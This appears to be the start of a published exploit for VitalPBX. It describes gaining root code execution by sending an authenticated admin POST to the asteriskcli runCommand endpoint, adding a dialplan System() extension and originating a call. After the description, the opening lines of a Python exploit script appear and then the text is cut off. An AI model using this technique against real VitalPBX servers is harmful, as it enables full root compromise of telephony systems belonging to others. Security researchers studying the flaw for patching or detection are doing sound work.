VitalPBX asterisk_cli System() root RCE

Authenticated admin POST index.php asteriskcli runCommand adds dialplan System extension and originates a call to run as root. !/usr/bin/env python3 -- coding: utf-8 -- """VitalPBX asteriskcli dialplan System root privilege escalation.""" from future import annotations import json import re impor...